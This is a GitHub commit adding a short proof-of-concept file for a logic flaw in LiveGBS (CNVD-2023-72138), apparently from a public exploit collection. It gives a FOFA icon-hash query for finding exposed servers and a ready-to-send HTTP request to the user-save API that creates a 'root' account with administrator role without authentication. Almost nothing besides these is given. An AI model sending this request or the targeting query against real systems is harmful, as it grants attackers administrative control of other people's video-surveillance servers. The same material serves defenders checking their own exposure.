Create LiveGBS存在逻辑缺陷漏洞(CNVD-2023-72138).md

This commit is contained in:
wy876 2024-05-01 13:38:06 +08:00 committed by GitHub
parent f0c165965c
commit 1355c11048
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194

View File

@ -0,0 +1,18 @@
## LiveGBS存在逻辑缺陷漏洞(CNVD-2023-72138)
## fofa
```
icon_hash="-206100324"
```
## poc
```
GET /api/v1/user/save?ID=&Username=root&Role=%E7%AE%A1%E7%90%86%E5%91%98&Enable=true HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Connection: close
```
![image](https://github.com/wy876/POC/assets/139549762/c77b5b4e-f3c0-4653-82a6-ebd9756f431e)